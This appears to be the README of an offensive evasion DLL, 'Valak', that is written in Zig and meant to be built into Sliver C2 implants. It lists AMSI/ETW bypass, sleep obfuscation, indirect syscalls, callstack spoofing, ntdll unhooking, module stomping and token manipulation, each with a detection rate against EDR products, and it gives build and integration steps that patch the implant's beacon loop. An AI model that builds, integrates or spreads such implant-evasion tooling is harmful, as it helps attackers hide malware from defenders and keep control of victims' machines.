SISTA fe2726a430 valak evasion dll for sliver
evasion/ - zig dll with rc4 encrypted sleep, hwbp amsi/etw bypass,
freshycalls indirect syscall dispatch, callstack spoofing via asm
trampoline, ntdll unhooking, module stomping, token manipulation.
all techniques verified against dbgman edr tradecraft (may 2026).
ret patch removed (instant detection). comments updated with
detection status on each technique.

go-bridge/ - reflective pe loader + clean go api for sliver
integration. drop this package into sliver's implant/ dir,
replace time.sleep with evasionsleep.

Valak

What

Standalone Zig evasion DLL for C2 implants. Drop-in sleep obfuscation, AMSI/ETW bypass, callstack spoofing. Protocol-agnostic — built for Sliver but works with any C2 that can call syscall.SyscallN.

Evasion Stack

Technique File Detection Status (DbgMan, May 2026)
RC4 encrypted .text sleep sleep.zig 70% effective — core evasion primitive
Callstack return-address zeroing arch/hells_gate.s 55% effective — terminates EDR frame walks
HWBP AMSI bypass (DR0-VEH) amsi.zig 60% effective — no memory modification
HWBP ETW bypass (DR0-VEH) etw.zig 65% effective — no memory modification
FreshyCalls SSN extraction syscall.zig 65% effective — immune to inline hooks
Indirect syscall dispatch syscall.zig 60% effective — random gadget pool
KnownDlls ntdll unhooking unhook.zig 95% DETECTED by CrowdStrike/S1
Module stomping stomp.zig 80% DETECTED — backing-file integrity checks
Token manipulation token.zig 90% DETECTED — lsass token access is T1 alert

Build

cd evasion
zig build -Doptimize=ReleaseFast
# → zig-out/bin/valak.dll

Then embed the DLL bytes into go-bridge/embed_dll.go:

var embeddedDLL = []byte{
    // paste compiled .dll bytes
}

Sliver Integration

  1. Copy go-bridge/ into implant/sliver/evasion/valak/
  2. In Sliver's implant init:
    import "github.com/BishopFox/sliver/implant/sliver/evasion/valak"
    
    func init() {
        valak.Start()
        go func() {
            time.Sleep(2 * time.Second) // wait for DLL load
            valak.PatchAll()
        }()
    }
    
  3. Replace time.Sleep(d) with valak.EvasionSleep(d) in Sliver's beacon loop
  4. Build with: go build -tags evasion
